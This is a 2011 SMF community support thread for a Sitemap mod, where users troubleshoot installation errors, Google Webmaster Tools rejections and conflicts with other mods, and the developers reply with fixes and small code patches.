Post by: Arantor on February 19, 2011, 08:26:49 AM
URL to the sitemap?
Title: Re: Sitemap
Post by: alpheus on February 19, 2011, 08:36:28 AM
Oh sorry HERE (http://www.nicexporn.com/sitemap.xml) but adult only!
Title: Re: Sitemap
Post by: Arantor on February 19, 2011, 08:41:37 AM
That's not a valid sitemap due to bugs in Subs.php from a mod you added. At the top of the result page:

<br />
<b>Notice</b>:  Undefined index:  ziyaretciler_resimleri_goremez in <b>/home/nicexpor/public_html/Sources/Subs.php</b> on line <b>1316</b><br />
<br />
<b>Notice</b>:  Undefined index:  ziyaretciler_resimleri_goremez in <b>/home/nicexpor/public_html/Sources/Subs.php</b> on line <b>1327</b><br />


This breaks the XML.
Title: Re: Sitemap
Post by: alpheus on February 19, 2011, 08:43:09 AM
What may I do please?
Title: Re: Sitemap
Post by: Arantor on February 19, 2011, 08:44:02 AM
Well, I don't know. That code's not part of SMF, so it's a mod you added that's modified Subs.php. I don't know what mod that is.
Title: Re: Sitemap
Post by: alpheus on February 19, 2011, 08:54:13 AM
It is hide the pictures from the guests and there was no problem till now!
Title: Re: Sitemap
Post by: Arantor on February 19, 2011, 09:03:46 AM
There won't be - until you try and use a sitemap...
Title: Re: Sitemap
Post by: alpheus on February 19, 2011, 09:08:30 AM
Which sitemap? I am using anyway!
Title: Re: Sitemap
Post by: Arantor on February 19, 2011, 09:09:53 AM
-sigh- It works fine normally, but it won't work properly in a sitemap because of the way SMF handles errors when outputting XML, it does it very slightly differently - the errors are being output into the page rather than being hidden away like they normally are.

It's a bug in your other mod, go bug the mod's author to fix it.
Title: Re: Sitemap
Post by: !RFAN on February 19, 2011, 08:11:02 PM
i dot know exactly what you people are talking about..
but sitemap is working fine for alpheus' site at this link..

http://www.nicexporn.com/index.php?action=sitemap;xml

if u want to submit your sitemap to google webmaster tools then just add  "index.php?action=sitemap;xml "

sorry but i'm just trying to help.. :)
Title: Re: Sitemap
Post by: Arantor on February 19, 2011, 08:14:52 PM
The original link supplied did not work, and that was the one being used...
Title: Re: Sitemap
Post by: alpheus on February 20, 2011, 07:17:58 AM
Quote from: !RFAN on February 19, 2011, 08:11:02 PM
i dot know exactly what you people are talking about..
but sitemap is working fine for alpheus' site at this link..

http://www.nicexporn.com/index.php?action=sitemap;xml

if u want to submit your sitemap to google webmaster tools then just add  "index.php?action=sitemap;xml "

sorry but i'm just trying to help.. :)

Yes, when you write it to browser there is no problem but webmaster tools not accept it! I tried it. Thanks for your voice...
Title: Re: Sitemap
Post by: Arantor on February 20, 2011, 07:30:29 AM
So you actually used *that* link rather than the one you posted before that ended in sitemap.xml ?
Title: Re: Sitemap
Post by: alpheus on February 20, 2011, 07:39:39 AM
Yes I tried both links but not accepted!
Title: Re: Sitemap
Post by: Arantor on February 20, 2011, 07:42:02 AM
Does it say why?
Title: Re: Sitemap
Post by: comedorsamus on February 20, 2011, 09:56:14 AM
Would you guys recommend the use of Pretty URLs (http://www.simplemachines.org/community/index.php?topic=146969.0)? I'm looking for an URL stucture that is SEO friendly.
Title: Re: Sitemap
Post by: Arantor on February 20, 2011, 09:58:19 AM
The current SMF URLs are SEO friendly. Search engines haven't had issues indexing them for years - back 5 years ago when SMF 1.1.x first came out, it was an issue but it isn't now.

Pretty URLs as implemented is also the cause of a great many issues as it seems to be from the mod thread.
Title: Re: Sitemap
Post by: comedorsamus on February 20, 2011, 10:05:35 AM
Quote from: Arantor on February 20, 2011, 09:58:19 AM
The current SMF URLs are SEO friendly. Search engines haven't had issues indexing them for years - back 5 years ago when SMF 1.1.x first came out, it was an issue but it isn't now.

Pretty URLs as implemented is also the cause of a great many issues as it seems to be from the mod thread.
I thought post names was a better option, but ok then! Thanks for your help! :)
Title: Re: Sitemap
Post by: SlammedDime on February 20, 2011, 10:32:10 AM
alpheus - I've checked your sitemap in multiple browsers with multiple user agents and it displays fine each and every time... I don't know why google won't accept it...

comedorsamus - While this mod can support Pretty Urls, like Arantor said, a fair number of people seem to have issues with it.  Sometimes it's hit and miss, it will work fine for one, but not for another.  If you really want a 'Pretty URL' structure, you can try SimpleSEF, which is a mod of mine that does the same thing that Pretty URLs does, but in a very different fashion, and it of course works with this Mod.
Title: Why all the errors?
Post by: TDNY on February 21, 2011, 02:46:02 PM

I fixed this by going into the sources/querystring file and changing the manual edits from the upgrade from 1.1.12 to 1.1.13. I remember that file failed because it conficted with pretty urls, good thing I had the backup copy of that file to re-do the edits and upload 8)


Hi,
Thanks for taking the time,

I'm using sitemap on my default core vers. 1.1.13 forum. I am getting loads of errors in the log, they are all just about the same and read:

mysite/index.php?action=sitemap

8: Undefined index: start
File: /mysite/Sources/Sitemap.php
Line: 43


I was moved to a new server, not sure if that matters, any help is appreciated.
Title: Re: Sitemap
Post by: ARNON RODRIGUES on February 26, 2011, 10:35:39 PM
Hello,

Is it work without any bug with RC5?

Thanks
Title: Re: Sitemap
Post by: botb2 on February 28, 2011, 01:28:23 PM
Hi I'm running smf 1.1.12 currently with avaremu theme, simple portal and aeva media. I installed the sitemap mod and did not find any errors in the error log. However, when I go to the url I get this error.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 6
File: /home/thepok8/public_html/Sources/Sitemap.php
Line: 40

my site is www.thepokerdream.net
Title: Re: Sitemap
Post by: SlammedDime on February 28, 2011, 01:40:25 PM
Sounds like the mod was not installed properly... Did you manually install it?  If you did (or even didn't), go to the Admin panel and pull up the settings page for Sitemap and make sure there is a value filled in for the maximum topics to display.
Title: Re: Sitemap
Post by: botb2 on February 28, 2011, 06:30:48 PM
ahh, I didn't realize I had to put a minimum amount of pages shown. I set the amount and now it shows with no problems. Problem solved

EDIT** Submitted to google webmasters and its finding a ton of errors. Now I don't understsand why as I do not have a url rewriter nor do I have even the default url rewriter for smf on. Heres an example

Paths don't match
We've detected that you submitted your Sitemap using a URL path that includes the www prefix (for instance, http://www.example.com/sitemap.xml). However, the URLs listed inside your Sitemap don't use the www prefix (for instance, http://example.com/myfile.htm).

EDIT#2: url i submitted. www.thepokerdream.net/?action=sitemap;xml
Title: Re: Sitemap
Post by: ARNON RODRIGUES on March 01, 2011, 03:30:59 PM
It doesn't work like a sitemap of Google Webmasters Tools.

Or am I doing something wrong?

Thanks.
Title: Re: Sitemap
Post by: reefforum on March 01, 2011, 07:15:24 PM
manual install on the default theme.  I see the "sitemap" on the bottom click on it goes to a blank page.  there is no options in the admin panel?
Title: Re: Sitemap
Post by: SlammedDime on March 01, 2011, 09:59:42 PM
botb2 - you need to change your boardurl in Settings.php to have a 'www' in it.

ARNON - it works fine in Google Webmaster tools, that was the main reason for me doing this mod in the first place.  If it's not working right, either throwing errors or not displaying properly, then something is either wrong with your forum, or the correct URL was not submitted.  Without more information I can't give you much more advice than that.

reefforum - Then it wasn't installed properly... You'll need to go through the install instructions and make sure that everything installed like it should have.
Title: Re: Sitemap
Post by: botb2 on March 01, 2011, 10:40:46 PM
problem fixed =)
Title: Re: Sitemap
Post by: ARNON RODRIGUES on March 01, 2011, 10:45:51 PM
So please, take a look: forum.modgame.com.br

It is in portuguese cause I am brazilian...

Google "said" this sitemap is in HTML, so they dont accept.

Thanks.
Title: Re: Sitemap
Post by: SlammedDime on March 01, 2011, 11:23:34 PM
Your XML sitemap contains some Adsense code injected at the top automatically... you need to find out where it's coming from and remove it or fix it.  It's not part of this mod so I can't really help with that.  Once you have corrected that, you need to submit the proper URL to Google (http://forum.modgame.com.br/?action=sitemap;xml)
Title: Re: Sitemap
Post by: ARNON RODRIGUES on March 02, 2011, 07:11:01 AM
It's not from AdSense, it is Analytics and I can't remove it... I need to know the traffic in my website.

There isn't a other way to make it work?
Title: Re: Sitemap
Post by: Arantor on March 02, 2011, 07:14:12 AM
Assuming it's Google Analytics, there's a bug in the mod. Read the mod's thread, I explain how it can be fixed by changing one line.
Title: Re: Sitemap
Post by: ARNON RODRIGUES on March 02, 2011, 09:21:09 AM
Sorry, but I really didn't understand. Where is the bug? On the Sitemap mod or Google Analytics mod?

How can I correct this? Only accessing my server and changing the respective mod?

Thanks
Title: Re: Sitemap
Post by: Arantor on March 02, 2011, 09:22:03 AM
The Google Analytics mod. Read the GA mod's thread, there's a bug in it. Until the SMF Cust. Team fixes the GA mod, you have to manually edit Subs.php to correct one line.
Title: Re: Sitemap
Post by: ARNON RODRIGUES on March 02, 2011, 09:44:31 AM
Ok, I am on "Sources/Subs.php" and I didn't find any "</head>ersion="1.0" encoding="UTF-8"?>"

Any idea?
Title: Re: Sitemap
Post by: Arantor on March 02, 2011, 09:46:05 AM
Please, read the mod's thread again. It explains the code you have to look for which has nothing to do with </head>
Title: Re: Sitemap
Post by: ARNON RODRIGUES on March 02, 2011, 09:58:56 AM
I just found it: http://www.simplemachines.org/community/index.php?topic=342504.msg2951290;topicseen#msg2951290

I really didn't understood what I have to do...
Title: Re: Sitemap
Post by: Arantor on March 02, 2011, 10:03:12 AM
You didn't actually find the code you need to change.

http://www.simplemachines.org/community/index.php?topic=342504.msg2963898#msg2963898 - look for code very similar to that near the end of Subs.php and replace it with the code I posted.

if(!empty($modSettings['googleAnalyticsCode'])) { is the old line, and if(!empty($modSettings['googleAnalyticsCode']) && !isset($_REQUEST['xml'])) { is the new line.
Title: Re: Sitemap
Post by: ARNON RODRIGUES on March 02, 2011, 10:16:50 AM
I did it perfectly, But Google can't recognize my sitemap yet.

Google Webmasters Tools "said" it:

"Unsupported file format.
Your Sitemap does not appear to be in compatible format. Make sure it conforms to our Sitemap guidelines and resubmit."

Thanks.




Edit:

Ok, it is working now!

Thanks a lot, Arator!!

Thank you so much!!
Title: Re: Sitemap
Post by: briggz5d on March 06, 2011, 05:08:02 PM
Finally got my sitemap working after reading this thread for days
Using these free sitemap crawlers and uploading the sitemap.xml to google webmasters manually daily can be really annoying, I hope with this mode my site map will be automatically updated and crawled by google using the link index.php?action=sitemap;xml  i supplied.

Ok.. One problem, Where's the control? I mean where to specify how many URLs to display? who should see it?
Oh.. i don't see the sitemap xml link on my Home page or any other page, it only shows at this link site.com/index.php?action=sitemap;xml ..Using a different theme so i guess i should edit something in it.. don't know wat
Title: Re: Sitemap
Post by: reefforum on March 07, 2011, 11:51:30 PM
I just installed again and still just a sitemap link which leads to blank page.

Does this have to be turned on?
Title: Re: Sitemap
Post by: SlammedDime on March 08, 2011, 12:06:22 AM
Are you using the proper version of sitemap for your version of SMF?  Did it give you any errors on install?  Did you go through the manual install instructions like I suggested before to make sure the mod was installed properly?
Title: Re: Sitemap
Post by: reefforum on March 08, 2011, 12:12:31 AM
I followed these directions:
http://resourcez.biz/PackageParser/index.php

sitemap1-2-2

I have smf 1.1.13

I did skip these:
/Modifications.french.php
Who.french.php
Title: Re: Sitemap
Post by: SlammedDime on March 08, 2011, 12:21:31 AM
Any errors in your hosts error log?  Any errors in your SMF error log?
Title: Re: Sitemap
Post by: reefforum on March 08, 2011, 12:33:42 AM
thousands
Title: Re: Sitemap
Post by: SlammedDime on March 08, 2011, 12:57:22 AM
Could be any more descriptive?  Anything related to the sitemap?  (I'm not going to keep prying for information here, if you're not going to help me help you, I'm not gonna keep trying).
Title: Re: Sitemap
Post by: Kathleen Chute on March 08, 2011, 11:02:03 AM
I am using 1.1.13 , the only error! Themes/default/languages/Modifications.french.php
Can This installation go on, I Have backed up everything.
Kathleen
Title: Re: Sitemap
Post by: Arantor on March 08, 2011, 11:14:55 AM
Do you have French installed?
Title: Re: Sitemap
Post by: SlammedDime on March 08, 2011, 12:05:56 PM
It shouldn't really be showing as an error, since that instruction is set to skip on error.  Unless you have the bright red box at the top stating that you shouldn't proceed, then feel free to do so. :)
Title: Re: Sitemap
Post by: Vincent Volmer on March 10, 2011, 04:56:43 AM
Hello SlammedDime,

I know this is asked before but I couldn't find the answer.

Is the Sitemap mod updated for SMF2.0RC5? If not, can I safely install it with RC4 emulated?

thanks for your great work!

Vincent
Title: Re: Sitemap
Post by: SlammedDime on March 10, 2011, 10:25:53 AM
Yes, you can install it with RC4 emulated.  I probably won't release an update for RC5 as I"m working on rewriting the mod to use SMF's hooks instead of file edits which likely won't be ready until 2.0 Final.
Title: Re: Sitemap
Post by: Vincent Volmer on March 10, 2011, 10:29:07 AM
Okay! thank you.

I'll install it that way.

Vincent
Title: Re: Sitemap
Post by: reefforum on March 11, 2011, 05:43:56 PM
wooo hooo got it installed and working thank you for this great mod :)

Where do I find the controls? 

Thanks again
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2011, 05:48:40 PM
I believe I hid them in the Features and Options panel in SMF 1.1.x
Title: Re: Sitemap
Post by: Xarcell on March 11, 2011, 05:57:25 PM
from what I understand, this is good for SEO purposes?
Title: Re: Sitemap
Post by: reefforum on March 11, 2011, 06:10:41 PM
Quote from: SlammedDime on March 11, 2011, 05:48:40 PM
I believe I hid them in the Features and Options panel in SMF 1.1.x

hello again,

Sorry can not find it there.  I think my installation is not complete yet.

what should I do with this:
Code
add_settings.php
This file should be able to execute standalone.
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2011, 07:49:38 PM
That won't make a difference in finding the settings, that only prepopulates them with some default data.  You need to put that file in your root SMF directory and navigate to it.
Title: Re: Sitemap
Post by: Kathleen Chute on March 13, 2011, 11:04:55 AM
Quote from: Vincent Volmer on March 10, 2011, 04:56:43 AM
Hello SlammedDime,

I know this is asked before but I couldn't find the answer.

Is the Sitemap mod updated for SMF2.0RC5? If not, can I safely install it with RC4 emulated?

thanks for your great work!

Vincent
Hi There and Thanks again,
Yes  the installation is not skipping over the issue, I do Have the Bright red Box.
So I have not a Clue how to handle it
I have elected to stay away from this Mod until I understand why its Doing it. I Know  its a Great Mod, I just think it doesn't Like me.
Thanks  Kathleen
Title: Re: Sitemap
Post by: Kathleen Chute on March 13, 2011, 11:07:58 AM
Quote from: SlammedDime on March 08, 2011, 12:05:56 PM
It shouldn't really be showing as an error, since that instruction is set to skip on error.  Unless you have the bright red box at the top stating that you shouldn't proceed, then feel free to do so. :)
Oh Gosh , I Quoted The Wrong Post , Im so sorry

Hi There and Thanks again,
Yes  the installation is not skipping over the issue, I do Have the Bright red Box.
So I have not a Clue how to handle it
I have elected to stay away from this Mod until I understand why its Doing it. I Know  its a Great Mod, I just think it doesn't Like me.
Thanks  Kathleen




Quote from: Kathleen Chute on March 13, 2011, 11:04:55 AM
Quote from: Vincent Volmer on March 10, 2011, 04:56:43 AM
Hello SlammedDime,

I know this is asked before but I couldn't find the answer.

Is the Sitemap mod updated for SMF2.0RC5? If not, can I safely install it with RC4 emulated?

thanks for your great work!

Vincent
Hi There and Thanks again,
Yes  the installation is not skipping over the issue, I do Have the Bright red Box.
So I have not a Clue how to handle it
I have elected to stay away from this Mod until I understand why its Doing it. I Know  its a Great Mod, I just think it doesn't Like me.
Thanks  Kathleen

Title: Re: Sitemap
Post by: SlammedDime on March 13, 2011, 12:38:14 PM
Are you sure that the only failure is on the french language file?  You can see in the parse instructions that the french edits are clearly set to skip on error... http://custom.simplemachines.org/mods/index.php?action=parse;mod=755;attach=162451;smf_version=1.1.13
Title: Re: Sitemap
Post by: kosty555 on March 15, 2011, 10:12:47 AM
Set at 2 RC5 - does not work ((
Links /index.php?action=sitemap , index.php?action=sitemap;sa=topics, index.php?action=sitemap;sa=boards - Works great!

But link /index.php?action=sitemap;xml - 'Error parsing XML: no element found'

:(((
Title: Re: Sitemap
Post by: Arantor on March 15, 2011, 10:13:42 AM
Other mods installed?
Title: Re: Sitemap
Post by: SlammedDime on March 15, 2011, 10:18:25 AM
Link to your site?
Title: Re: Sitemap
Post by: reefforum on March 15, 2011, 05:38:59 PM
maybe its a coincidence, but since I installed this mod 3 days ago, the number of visitors from google has more than doubled :D
Title: Re: Sitemap
Post by: dWhite on March 16, 2011, 09:13:40 AM
Quote from: reefforum on March 15, 2011, 05:38:59 PM
maybe its a coincidence, but since I installed this mod 3 days ago, the number of visitors from google has more than doubled :D

Don't see how that works. as sitemaps do not drive traffic to your website other than the Googlebot to check the sitemap. The only thing a sitemap is used for is telling search engines about links they may not find on their own.


Also @SD: Any plans to get this working on RC5?
Title: Re: Sitemap
Post by: SlammedDime on March 16, 2011, 11:16:18 AM
It works on RC5, it jut won't install without either modifying the installer package to allow installation on RC5, or more easily use the 'Advanced' link at the bottom of the package manager to emulate RC4.
Title: Re: Sitemap
Post by: dWhite on March 16, 2011, 12:41:38 PM
Quote from: SlammedDime on March 16, 2011, 11:16:18 AM
It works on RC5, it jut won't install without either modifying the installer package to allow installation on RC5, or more easily use the 'Advanced' link at the bottom of the package manager to emulate RC4.

Oh, lol. Didn't even see the "Advanced" thing. :D I'm still new to the 2.x series.
Title: Re: Sitemap
Post by: InfoStrides on March 17, 2011, 07:44:33 PM
Sitemap Error:

QuoteFatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 1443112 bytes) in /Sources/Load.php on line 2603

Link to confirm: http://www.theinfostrides.com/index.php?action=sitemap;xml

Please help.
Title: Re: Sitemap
Post by: SlammedDime on March 17, 2011, 08:57:06 PM
Decrease the number of URLs displayed in the sitemap in the Sitemap configuration.
Title: Re: Sitemap
Post by: InfoStrides on March 18, 2011, 01:35:26 AM
Quote from: SlammedDime on March 17, 2011, 08:57:06 PM
Decrease the number of URLs displayed in the sitemap in the Sitemap configuration.

I have done as advised. It is working now. Thank you.
Title: Re: Sitemap
Post by: MrCreatoR on March 18, 2011, 05:38:59 AM
This mod have a conflict with «Custom Copyright» mod.

Here is a quick fix:

install.php
Quote </file>
<file name="$themedir/index.template.php">
<operation>
<search position="after"><![CDATA[ <li><a id="button_xhtml" href="http://validator.w3.org/check/referer"]]></search>
<add><![CDATA[ <li><a href="', $scripturl, '?action=sitemap"><span>', $txt['sitemap'] ,'</span></a></li>
]]></add>
</operation>
</file>

And here is a Russian translation:
Quote<file name="$languagedir/Modifications.russian-utf8.php">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Разделы';
$txt['sitemap_topics'] = 'Темы';
$txt['sitemap_xml'] = 'Показывать XML <em>ссылку</em> Sitemap';
$txt['sitemap_topic_count'] = 'Максимальное количество отображаемых тем в XML sitemap<br /><span class="smalltext">0 показывать все (<strong class="error">НЕ РЕКОМЕНДУЕТСЯ ДЛЯ БОЛЬШИХ РАЗДЕЛОВ</strong>)</span>';
$txt['sitemap_cache_ttl'] = 'Время в течений которого XML данные будут кешироваться (секунды)';
$txt['sitemap_board_none'] = 'Нет разделов для отображения';
$txt['sitemap_topic_none'] = 'Нет тем для отображения';
$txt['sitemap_30day_priority'] = 'Приоритет для тем активных в последние 30 дней';
$txt['sitemap_60day_priority'] = 'Приоритет для тем активных в последние 60 дней';
$txt['sitemap_90day_priority'] = 'Приоритет для тем активных в последние 90 дней';
$txt['sitemap_91day_priority'] = 'Приоритет для тем старше чем 90 дней';
$txt['invalid_sitemap_subaction'] = 'Недопустимый выбор';

]]></add>
</operation>
</file>
<file name="$languagedir/Who.russian-utf8.php">
<operation>
<search position="after"><![CDATA[$txt['whoall_collapse_collapse']]]></search>
<add><![CDATA[$txt['whoall_sitemap'] = 'Просматривает <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
</operation>
</file>

the install.php should be encoded with utf-8.
Title: Re: Sitemap
Post by: reefforum on March 26, 2011, 03:45:41 PM
the XML I submit to google looks like this:

http://reefcollege.com/index.php?action=sitemap;xml

is that OK?  or should it look like this:

http://reefcollege.com/sitemap.xml

Title: Re: Sitemap
Post by: SlammedDime on March 26, 2011, 06:12:55 PM
The first one is fine
Title: Re: Sitemap
Post by: Xarcell on March 26, 2011, 10:48:12 PM
Quote from: dWhite on March 16, 2011, 09:13:40 AM
Don't see how that works. as sitemaps do not drive traffic to your website other than the Googlebot to check the sitemap. The only thing a sitemap is used for is telling search engines about links they may not find on their own.


That's exactly why to have it. Also, it increases your rank.
Title: Re: Sitemap
Post by: Arantor on March 27, 2011, 08:25:38 AM
QuoteThat's exactly why to have it.

An unmodified SMF forum does not have that problem; search engines are quite capable of crawling it.

QuoteAlso, it increases your rank.

There's no evidence of that at this point in time, at least not directly attributable to sitemaps; invariably the only reason it possibly could raise rank is that it exposes content that wasn't being linked properly in the first place, which as I said isn't an issue with an unmodified SMF forum.
Title: Re: Sitemap
Post by: smtek on March 27, 2011, 12:49:58 PM
It is not compartable with smf 2 rc 5. What to do ?
Title: Re: Sitemap
Post by: Arantor on March 27, 2011, 12:53:19 PM
If you read the comments in the Sitemap mod's dedicated thread, you'd see that you could install it and use it just fine on 2.0 RC5 by going to Admin > Packages > Browse Packages > advanced and telling it to pretend it was 2.0 RC4...
Title: Re: Sitemap
Post by: smtek on March 28, 2011, 12:21:04 AM
@ Arantor Thanks it did as per you said and it worked fine !!!
Title: Re: Sitemap
Post by: dknife on March 29, 2011, 09:01:26 AM
I found that having the google analytics mod, which automatically modifies the header buffer and adds the analytics code, breaks the xml output of this mod.

In the Subs.php (which the google mod modifies), I changed from


function ob_google_analytics($buffer)
{
global $modSettings;
if (!empty($modSettings['googleAnalyticsCode'])) {


to this:


function ob_google_analytics($buffer)
{
global $modSettings,$context;
if ( (!empty($modSettings['googleAnalyticsCode'])) && ($context['current_action'] != 'sitemap') ) {


Basically just disables the google analytics output when in sitemap mode.
Title: Re: Sitemap
Post by: Arantor on March 29, 2011, 09:13:04 AM
Or, you could have looked in the thread for the Google Analytics mod which contains a proper fix for this, though the package should have been updated by now (other stuff will still be broken, you see)
Title: Re: Sitemap
Post by: dknife on March 29, 2011, 11:16:23 AM
Quote from: Arantor on March 29, 2011, 09:13:04 AM
Or, you could have looked in the thread for the Google Analytics mod which contains a proper fix for this, though the package should have been updated by now (other stuff will still be broken, you see)

That would have made sense, sorry should have visited that thread as well. Your fix makes a lot more sense as now the sitemap page includes the google code, just not any xml output.
Title: Re: Sitemap
Post by: reinner on March 31, 2011, 04:49:04 AM
hi,

I am getting this error message from my error log


http://www.ourbabybits.net/index.php?pretty;action=admin&amp;amp;area=logs;sa=errorlog;desc
8: Undefined index: sitemap
File:/public_html/Sources/Admin.php
Line: 242


How can I fix this?

Best Regards!
Title: Re: Sitemap
Post by: SlammedDime on March 31, 2011, 11:40:51 AM
Looks like you're missing some language strings... ensure that anything in Modifications.english.php is also the same in every other Modifications.[language].php file you have.
Title: Re: Sitemap
Post by: comedorsamus on April 01, 2011, 05:37:47 PM
/index.php?action=sitemap;xml doesn't seem to be working for me, it shows "Status: X" (big red X) on Google Webmaster. :[
Title: Re: Sitemap
Post by: SlammedDime on April 01, 2011, 05:50:05 PM
Link to your site?  Does it give you any errors in Webmaster tools?  Normally it gives error messages along with a bad status.
Title: Re: Sitemap
Post by: comedorsamus on April 02, 2011, 01:06:13 PM
Quote from: SlammedDime on April 01, 2011, 05:50:05 PM
Link to your site?  Does it give you any errors in Webmaster tools?  Normally it gives error messages along with a bad status.
LOL! It said robots.txt was blocking the access to sitemap, so I removed that file and now it seems to be working.

Thanks for telling me about the error log.
Title: Re: Sitemap
Post by: monkeyofstick on April 02, 2011, 05:16:32 PM
My biggest question about this mod  is about my ability do control my search engine optimization.With the package that
I purchased,there were 2 years of search engine optimization included.
I have a friend that is in the business of SEO,and his paycheck depends on keeping the folks that hire him somewhere
in the top 5 in natural selections on google.He says that he can check mine once a month and try to keep mine up.
I am really new  at all of this,and was told about this mod by a couple of folks that liked it.I came to it because of PHP  issues.
My question,is will I still have the freedom to use the moderators kit that I have already purchased?
Title: Re: Sitemap
Post by: SlammedDime on April 02, 2011, 08:42:08 PM
What you have purchased SEO wise should not have any influence on this mod.  Sitemaps are also not a guaranteed way to get you into the search engines (regardless of what anyone tells you), a sitemap's only purpose is to make it known to search engines what links you have available for them to index... whether or not they actually index your pages highly depends upon the content on your site, and if the search engines feel that it is worth while in indexing...

Prime example: I don't use any SEO services (honestly, I believe they are a waste of money), I use a simple Wordpress Blog with their native 'Friendly Urls'... the other day I made a blog post and within 2 hours it was already indexed by Google and #8 in the search results for a general keyword search (l2tp ipsec ubuntu).  Today it sits at #11... point is, I didn't do anything special, all I did was type the content... if you don't have worth while content that is keyword rich relating to the topic at hand, Google won't bother with you.  As pointed out in many other topics on this forum, getting worthwhile content that is SEO friendly on a forum is difficult, if not impossible, due to the very nature of a forum, to allow discussion and input from a wide range of users that haven't the slightest idea what SEO is.
Title: Re: Sitemap
Post by: TheCodfather on April 05, 2011, 01:18:14 PM
keep getting this error when submitting a site map to google

   
URL restricted by robots.txt
We encountered an error while trying to access your Sitemap. Please ensure your Sitemap follows our guidelines and can be accessed at the location you provided and then resubmit.
Title: Re: Sitemap
Post by: TheCodfather on April 05, 2011, 04:08:02 PM
even deleted the robot text file and its still giving the above error
Title: Re: Sitemap
Post by: SlammedDime on April 05, 2011, 04:54:07 PM
Link to your site?
Title: Re: Sitemap
Post by: TheCodfather on April 05, 2011, 04:56:08 PM
http://www.go-sea-fishing.com/forum/
Title: Re: Sitemap
Post by: TheCodfather on April 05, 2011, 06:01:54 PM
google will not acceppt my sitemap same thing over and over robot text blocking it

but its not blocking it

this is becoming frustrating now.
Title: Re: Sitemap
Post by: TheCodfather on April 05, 2011, 06:19:46 PM
got it working wooohooo

my site map url was wrong

this works for me :  http://www.go-sea-fishing.com/sitemap/?xml

how often should i submit a sitemap to google ?
Title: Re: Sitemap
Post by: SlammedDime on April 05, 2011, 06:33:18 PM
Only once... it's a dynamic sitemap, so every time google checks it, the changes will automatically appear
Title: Re: Sitemap
Post by: MrCreatoR on April 05, 2011, 06:49:05 PM
Installed without any errors, but when i trying to open the sitemap link (http://autoit-script.ru/index.php?action=sitemap), i got this error:

QuoteInvalid selection

What is wrong?
The website is here (http://autoit-script.ru/) (russian).
Title: Re: Sitemap
Post by: SlammedDime on April 05, 2011, 06:49:56 PM
The mod did not install properly, you'll need to follow the manual instructions and make sure everything is in it's place.
Title: Re: Sitemap
Post by: TheCodfather on April 05, 2011, 07:00:21 PM
what do u mean its dynamic so that sitemap url will not work in the future ?

or do you mean i only need to submit it once as google will auto index any changes in the sitemap ?
Title: Re: Sitemap
Post by: SlammedDime on April 05, 2011, 07:01:30 PM
The *content* of the sitemap is dynamic, it changes as your forum gets new topics and you make new boards.  You don't need to keep submitting it to google, google will pick up the changes everytime it rescans your sitemap.
Title: Re: Sitemap
Post by: TheCodfather on April 05, 2011, 07:02:26 PM
thanks slammed got it now.

thanks for the great sitemap also much appreciated for your work on this.

on average what is the time scale for google to re scan the sitemap is it a daily crawl or is it random etc ?
Title: Re: Sitemap
Post by: MrCreatoR on April 05, 2011, 07:06:53 PM
Quote from: SlammedDime on April 05, 2011, 06:49:56 PM
The mod did not install properly, you'll need to follow the manual instructions and make sure everything is in it's place.
Should i uninstall the mod first?
Title: Re: Sitemap
Post by: SlammedDime on April 05, 2011, 07:10:08 PM
Codfather - No clue, I'm sure Google has their ways of determining... webmaster tools does show the last crawl time, so you'll have to estimate from there.

MrCreatoR - no need to uninstall first.
Title: Re: Sitemap
Post by: TheCodfather on April 05, 2011, 07:11:37 PM
okay thanks again for a very nice mod
Title: Re: Sitemap
Post by: MrCreatoR on April 06, 2011, 12:53:56 AM
SlammedDime
Thank you very much, problem solved, from some strange reason, the Sitemap-Ext directory wasn't copied to the ./Sources during the installation.
Title: Re: Sitemap
Post by: reinner on April 06, 2011, 06:57:35 AM
Quote from: SlammedDime on March 31, 2011, 11:40:51 AM
Looks like you're missing some language strings... ensure that anything in Modifications.english.php is also the same in every other Modifications.[language].php file you have.

Thanks SlammedDime! That solved my problem

Cheers!
Title: Re: Sitemap
Post by: mariusfv on April 12, 2011, 02:57:04 AM
Hi,

I have 5 external pages who are loaded inside SMF via SSI.php, how can I add this pages to sitemap ?
SMF 2.0 RC5

10X
Title: Re: Sitemap
Post by: w3bm4st3r on April 12, 2011, 07:21:12 AM
How i can remove a certain board from sitemap?
Title: Re: Sitemap
Post by: SlammedDime on April 12, 2011, 10:32:48 AM
You can't manually or selectively do that.  If you don't want it to show on the sitemap, hide the board from guests and/or your members.
Title: Re: Sitemap
Post by: flapjack on April 12, 2011, 02:00:19 PM
any chance for an update that will use hooks instead of adding to index.template?
Title: Re: Sitemap
Post by: SlammedDime on April 12, 2011, 02:42:40 PM
Yea, that's my plan for the next version, to try and use hooks exclusively like I am for some of my other mods.  Shouldn't be too hard to use the output buffer hook and just modify the buffer (a little more overhead, but it works).
Title: Re: Sitemap
Post by: mariusfv on April 12, 2011, 03:18:19 PM
Bump: external pages who are loaded inside SMF via SSI.php, how can I add this pages to sitemap ?
Title: Re: Sitemap
Post by: Alyen on April 12, 2011, 03:25:13 PM
Does anyone have this for RC5?
Title: Re: Sitemap
Post by: SlammedDime on April 12, 2011, 04:16:47 PM
They can't be easily added for the non-programmer types... the sitemap is 'hookable' to allow custom entries from other types of modules though.  Something I can look into doing for the next version.
Quote from: mariusfv on April 12, 2011, 03:18:19 PM
Bump: external pages who are loaded inside SMF via SSI.php, how can I add this pages to sitemap ?
Title: Re: Sitemap
Post by: SlammedDime on April 12, 2011, 04:17:20 PM
Quote from: Alyen on April 12, 2011, 03:25:13 PM
Does anyone have this for RC5?
Just emulate your version of SMF in the 'Browse Packages' screen by clicking the 'Advanced' link at the bottom of the page.  Emulate to RC4.
Title: Re: Sitemap
Post by: shahnewaz on April 21, 2011, 01:04:25 AM
I have a problem with google webmaster tool!

I was trying to submit my sitemap URL to google :
http://totalpaglamy.com/index.php?action=sitemap;xml

My site is : www.totalpaglamy.com

The Error that google is showing :
Paths don't match
We've detected that you submitted your Sitemap using a URL path that includes the www prefix (for instance, http://www.example.com/sitemap.xml). However, the URLs listed inside your Sitemap don't use the www prefix (for instance, http://example.com/myfile.htm).

